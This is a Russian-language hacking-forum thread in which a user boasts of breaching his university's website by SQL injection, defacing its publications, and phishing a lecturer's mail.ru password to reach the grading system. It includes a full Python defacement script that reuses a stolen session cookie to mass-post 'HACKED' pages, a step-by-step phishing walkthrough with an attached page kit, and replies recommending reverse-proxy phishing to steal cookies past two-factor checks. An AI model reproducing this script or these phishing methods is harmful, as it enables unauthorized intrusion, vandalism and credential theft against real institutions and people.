• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Из грязи в князи: Как я получил доступ к БРС своего университета и стал получать стипендию

GoodSmile

ripper
КИДАЛА
Регистрация
10.11.2019
Сообщения
61
Реакции
20
Пожалуйста, обратите внимание, что пользователь заблокирован
Добрый день, уважаемые форумчане. То что вы сейчас прочтете, возможно будет похоже на какой-то художественный фильм про хакинг пентагона, но это реальная история, которая случилась со мной совсем недавно.

fdd5ea2a10301bd71d1c5.jpg


С чего всё начиналось
По календарю ноябрь провожал мой нелегкий первый год в университете. Зачеты, экзамены, сессии, казалось до них было далеко, но, однокурсники с каждым днем стали чаще напоминать мне об этой суете, так как, баллы у меня были самые низкие (кроме информатики :) ). Официальный сайт нашего университета почти не был защищен: небезопасный протокол HTTP, куча SQL инъекций и XSS. С помощью одной из этих уязвимостей, мне потребовалось 10 минут для взлома сайта. А точнее, это была очередная SQL инъекция, которая позволила мне получить все данные для входа в панель управления. Пароли не были зашифрованные, из-за чего моя задача облегчалась в несколько раз. Зашел на панель, посмотрел что-там, и понял что там можно изменить инфу только с этого домена. К моему сожалению, там и речи не было о БРС (балльно рейтинговая система), так как он находился на поддомене, и к моему удивлению, имел совсем другой IP адрес. Мое незнание сети привело меня к выводу, что сеть университета немного запутана, и чтобы получить доступ к БРС, придется действовать другим методом. Конечно же, я не мог просто оставить взломанный сайт без изменений, и вместо того чтобы вручную менять каждую публикацию, я внимательно посмотрел все параметры которые передаются по POST запросу, и написал питон скрипт, который раз за разом отправлял POST запросы на все адреса, которые нужны были для изменения публикаций. Если расписывать каждый шаг, получится очень много теории, поэтому приведу вам видео-ролик, который я записал в ночь взлома.


И так. Для того чтобы менять какую-то публикацию, естественно нужно было войти на панель управления. Но, на входе меня ожидала одна проблема - капча, которую я так и не смог решить. После нескольких неудачных попыток, пришло в голову сделать это совсем по другому. Как вы знаете, при смене кукисов на валидные, мы без каких-либо вводов паролей и решений капч, могли оказаться в панели. Именно так я и сделал, благодаря параметру cookies из нашего любимой библиотеки requests, которая указывалась при отправке запроса. Запустив скрипт и указав валидную PHPSESSID, начиналось шоу. Приведу немного измененный пример кода, дабы избавиться от некоторых вопросов
Python:
import requests
import os
import sys
import time
class color:
   PURPLE = '\033[95m'
   CYAN = '\033[96m'
   DARKCYAN = '\033[36m'
   BLUE = '\033[94m'
   GREEN = '\033[92m'
   YELLOW = '\033[93m'
   RED = '\033[91m'
   BOLD = '\033[1m'
   UNDERLINE = '\033[4m'
   END = '\033[0m'
print("Secret key:")
sessid = input()
time.sleep(1)
print(color.BOLD + "Successfully key confirmation! \n" + color.END)
time.sleep(2)
print("Sending requests...\n")
time.sleep(3)
s = requests.Session()
urls = ["http://site.ru/edit1.php?id=", "http://site.ru/edit2.php?id=",, "http://site.ru/edit3.php?id=", "http://site.ru/edit4.php?id=", "http://site.ru/edit5.php?id="]
cookies = {'PHPSESSID': sessid, 'ckCsrfToken' : '29iurhXaHn4B80ED9466L85OooV6fyo1wL7K850p'}
date = "2019-07-07"
text = """
<html> <h1 align="center">HACKED BY VASYA PUPKIN</html>
"""
title = "HACKED"
pre_text = "HACKED"
files = {
    'userfile': (os.getcwd()+'/main.png', open(os.getcwd()+'/main.png', 'rb'), 'image/png')
}
link = "https://www.whoismrrobot.com/"
other = "СоÑÑаниÑÑ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ"
for num in range(0,4):
    for i in range(0,300):
        r = s.post(urls[num]+str(i), files=files, cookies = cookies, data={'title' : title, 'text' : text, 'date' : date, 'pre-text' : pre_text, 'do_edit' : other, 'date_end' : date, 'category' : 6, 'link' : link})
        print(color.BOLD +"Publication with ID " + str(i) + " defaced!" + color.END)
        time.sleep(0.05)

end = """
████████████████████████████████████
█─██─██────██────██─██─██───██────██
█─██─██─██─██─██─██─█─███─████─██──█
█────██────██─█████──████───██─██──█
█─██─██─██─██─██─██─█─███─████─██──█
█─██─██─██─██────██─██─██───██────██
████████████████████████████████████
        ██████████████
      █────███──█──█
      █─██──███───██
      █────█████─███
      █─██──████─███
      █────█████─███
      ██████████─███
████████████████████████████████████
█────██──█──██────██───██────██────█
█─██─███───█████──████─██─██─██─██─█
█─██─████─█████──███───██────██─██─█
█─██─███───███──██████─██─█─███─██─█
█────██──█──██────██───██─█─███────█
████████████████████████████████████
"""
print(end)
Те, кто знает хотя бы базу питона, поймут что для чего. Почему хотя бы? Да потому-что я сам знаю не больше xD.

Идем к большой цели маленькими шагами

Сайт взломан, видео залито, слухи ходят. Казалось бы, цель достигнута, но, наш злорадствующий смех, говорит, что это была всего лишь разминка. Итак, сканировав поддомен БРС на наличие уязвимостей, как автоматическим, так и ручным способом, я пришел к выводу, что эта часть сайта хорошо защищена. Несмотря на это, я всё верил что разработчики допустили хоть какую-то мелочь, и стал прочесывать сайт с помощью Dirb. К нашему сожалению, это не дало никакого результата. Но, я все равно не хотел сдаваться. Думаю и так понятно, что у каждого преподавателя есть отдельный аккаунт в БРС. Поэтому, нам нужно было получить доступ сразу к нескольким аккаунтам в БРС, или, буду честен, к аккаунтам преподавателей, которые ставят мне слишком низкие баллы xD. Буквально у всех, были айфоны. А мы знаем, что яблоко не подпускает к себе любых недобрых приложений. Поэтому, достичь цели с помощью запуска вируса на телефоне, было вычтено из списка вариантов. И тут я вспомнил про любимую СИ (Социальная инженерия). Слишком много текста, чувствуете? Ничего, это того стоит. Данные для входа в БРС каждому преподавателю отправляли на почту индивидуально. Я не стал много раздумывать, и пошел сделать фишинг-страницу, похожую на страницу входа mail.ru. Получилось что-то подобное

Снимок экрана 2020-01-05 в 16.07.27.png

После нажатия кнопки Войти, данные отправлялись нам, а пользователя направляло на главную страницу почты. В прикрепленных файлах оставлю исходники кода, может кто захочет повторить трюк. Немного изменив свой почтовый ящик под аккаунт Администрации, я пошел писать письмо. В этом мне очень помог всеми известный хабр (не реклама). В итоге, у меня получилось вот это

Снимок экрана 2020-01-05 в 16.02.01.png

Ссылка "Подтвердить" отправляла нас на нашу фишинг страницу. Адрес был примерно следующим: http://myhost.ru/?emai=prepod7@mail.ru
В index.php нашей страницы, я сделал так, чтобы значение из GET параметра email сохранялось в сессии, так, чтобы при обновлении страницы все равно отображался первоначальный email. Сделано было это для красоты. Итак, всё готово, осталось ждать пока жертва клюнет. Я подключился к серверу по SSH и стал слушать файл лога с помощью команды tail -f data.txt и пошел спать. Просыпаюсь утром, увидев что лог пуст, я с грустью пошел готовиться к универу. Буквально через 30 минут, я вернулся чтобы посмотреть, не случилось ли чудо. Эххх, вы бы видели мое лицо, когда мой терминал выдал мне логин и пароль для входа в почту преподавателя. Радости не было конца. То ли преподаватель совсем не был знаком с ИБ, то ли не выспался, но я получил пароль. До начала занятий был минимум час, и это позволило мне копать почту. Кол-во писем было там, 3000+, если не больше. У меня бы ушли возможно дни, если б искал нужное письмо в ручную. Благо, кому-то пришло в голову сделать автоматический поиск писем, чем я и воспользовался. Немного пролистав ключевые письма, я нашел именно то письмо, где сообщались данные для входа в БРС. Это была победа.


Снимок экрана 2020-01-05 в 16.22.43.png

P.S. Прошу строго не судить, всё было написано и сделано на собственных понятиях. Если где-то допустил ошибку, буду только рад исправлению.
Всем спасибо за внимание!
 

Вложения

  • mail.ru.zip
    108.2 КБ · Просмотры: 154
  • Снимок экрана 2020-01-05 в 16.02.01.png
    Снимок экрана 2020-01-05 в 16.02.01.png
    20.9 КБ · Просмотры: 170
Пожалуйста, обратите внимание, что пользователь заблокирован
Ребята, забыл упомянуть. После всех размышлений, администрации сайта было сообщено о выявленных уязвимостях, и вскоре они их исправили. Прошу писать отзыв только по теме, а не так, как сверху. Критику приветствую, если она хоть как-нибудь связана со статьей.
 
Интересная история, жаль что пиздеж.
А если нет, то сочувствую. Ру предприятия тебя скорее по 272 закроют, чем спасибо скажут.
А с точки зрения тематики, чет сильно школьная apt. Написание тоже - будто человек, только вошедший в эту сферу писал. Ещё и бл#ть этот шаб, который ты подставил на видео после взлома, рофлан помойка конечно. Тебе с таким подходом надо фильмы в Голливуде про хакеров снимать, а не на xss статьи писать)) Это хорошо, что ты в css умеешь. Только смысла практического никакого от этого. Повеяло codeby статьями(глубины раскрытия темы 0 зато ебать терминал разукрашенный как елка на Новый год, и тут и там бл#ть). Сори, но тут даже учиться нечему. Так и представил, Unknown такой прочитал и пошёл выносить юса компании твоим способом, потирая ручки и выжидая вывод лога, мониторя через tail кек.
И кста способ фишинга х#йня. Никакой тебе имперсонации сессии с куками. Никакого фишинга через реверсивную прокси. Тупо шаб подсунул как в 2006. А логином и паролем, если это все что у тебя есть в 2020 - можно только подтереться. Ничего личного, но это про тебя
D6BE29DF-6687-425F-82AD-E0F75CD11EB6.jpeg
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Ничего выдуманного в статье нет, все это реальная история. Терминал и все дела - были для эффективности. Что умел, то сделал, и написал об этом. В любом случае, благодарю за отзыв.
Интересная история, жаль что пиздеж.
А если нет, то сочувствую. Ру предприятия тебя скорее по 272 закроют, чем спасибо скажут.
А с точки зрения тематики, чет сильно школьная apt. Написание тоже - будто человек, только вошедший в эту сферу писал. Ещё и бл#ть этот шаб, который ты подставил на видео после взлома, рофлан помойка конечно. Тебе с таким подходом надо фильмы в Голливуде про хакеров снимать, а не на xss статьи писать)) Это хорошо, что ты в css умеешь. Только смысла практического никакого от этого. Повеяло codeby статьями(глубины раскрытия темы 0 зато ебать терминал разукрашенный как елка на Новый год, и тут и там бл#ть). Сори, но тут даже учиться нечему. Так и представил, Unknown такой прочитал и пошёл выносить юса компании твоим способом, потирая ручки и выжидая вывод лога, мониторя через tail кек.
И кста способ фишинга х#йня. Никакой тебе имперсонации сессии с куками. Никакого фишинга через реверсивную прокси. Тупо шаб подсунул как в 2006. А логином и паролем, если это все что у тебя есть - можно подтереться. Ничего личного, но это про тебя
Посмотреть вложение 7403
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какой нахуй 0xZ3R0, Z и R в хексе нету, меня одного это напрягло?
Простой ник, без каких-либо правил хекса.
 
Какой нахуй 0xZ3R0, Z и R в хексе нету, меня одного это напрягло?
Задротина, сходи на улицу, воздухом подыши - примерные мысли ТС о тебе сейчас. Хватит душить парня? Тут главное, чтобы было эффектно, ты что не понял ещё, че пристал со своими хексами ??
 
Последнее редактирование:
Не туда полез бро тут для литературного клуба 15к$ как вожделенная щель?с костями сожрут
тоже самое хотел написать :)
Просто как бы темы конкурса описаны ДОВОЛЬНО четко и характеристики статьи тоже, то что выше прочитал не подходит по критериям. Только как тема на форуме с опытом.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Вижу тут есть много умных ребят. С нетерпением жду от каждого из них интересную статью.
 
Вижу тут есть много умных ребят. С нетерпением жду от каждого из них интересную статью.
Где технические подробности? Похож на обычную теорию которая никому не интересна. Если все дыры залатаны как вы утверждаете то можно спокойно их раскрывать. На статью не тянет, Максимум на теоретическая часть сатьи. Неинтересно, скучно, статья не стоит внимания. ИМХО.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Где технические подробности? Похож на обычную теорию которая никому не интересна. Если все дыры залатаны как вы утверждаете то можно спокойно их раскрывать. На статью не тянет, Максимум на теоретическая часть сатьи. Неинтересно, скучно, статья не стоит внимания. ИМХО.
Оставил все скрипты, которые только можно было. От тебя тоже жду статью, со всеми техническими подробностями, и которая всем интересна. Мерзкий тип однако.
 
Если убрать всю воду, то в двух словах. "Я бедный супер хекер, меня обидел препод, он попался на мой фейк, а для большего кол-во символов я напишу, что там была бесполезная скуля и через админку я задефейсил страницы с новостями."
Было бы интересно твое видео не с терминалом и цифорками, а демонстрация sql, изучение админки, заливка шелла, повышение прав.


Оставил все скрипты, которые только можно было. От тебя тоже жду статью, со всеми техническими подробностями, и которая всем интересна. Мерзкий тип однако.

Каждый высказывает свое субъективное мнение, но никто тебя не оскорбил.
 
Мерзкий тип однако.
Спасибо, что адекватно расцениваете критику за свою замечательную статью. У меня всё.
 
Ну кстати да, лично тебя тут никто не оскорбляет. Оскорбляют материал, который ты запостил в особый раздел, претендуя на шекели. Но ты же должен понимать что шекели дают только за хороший уровень. А раз ты запостил свою статью сюда, то 1 из 2. Либо ты считаешь
статью уровнем, что в свою очередь показывает твой уровень. Либо ты рассчитывал на халяву. Оба варианта, как ты понимаешь, не очень. Вот и критикуют.
А ведь по факту
Оставил все скрипты, которые только можно было.
Какие там скрипты? И какая полезная нагрузка, если в сухом остатке? Были речи про xss/sql, но конкретных технических подробностей как ты пробивал нет. Фейк мейла со сбором пассов? 1) уверен, если хорошо поискать, это можно найти в халяве, ведь не ты первый, кто захотел сработать по снг и сидеть фишить мейлру. 2) конкретно твой способ фишинга плохой. Я бы сказал неактуальный. Сейчас все пользуются модлишкой или ее аналогами. Почему? Тебе не нужно делать клон руками, изменяя сорцы и выпиливая что либо оттуда. Ты просто пропускаешь «через себя» связь между таргет ресурсом и юзером. То есть mitm. Достигается это путём того что ты пускаешь юзера на адрес своей реверс прокси. А это значит, что помимо паролей, ты можешь вклиниваться намного глубже и ловить ещё куки, которые ресурс юзеру вернет, например после 2фа и прочих вещей. Это важно, поскольку сервисов, позволяющих что либо делать только имея пароль и логин - почти не осталось. И в любом случае при попытке войти (хз как конкретно на mail.ru) например в gmail с незнакомого устройства и ip без куков - тебя сервис нах пошлет. По этому твой способ фиша не сработает на не менее, чем на всех серьезных ресурсах и по этому актуальность статьи, как и ценность, стоит под большим вопросом.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ребят, я всё еще жду от вас супер-интересных статей, в котором подробно рассказывается как вы 24/7 сидите за компом и критикуете, с очень горячей точкой. У меня всё.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх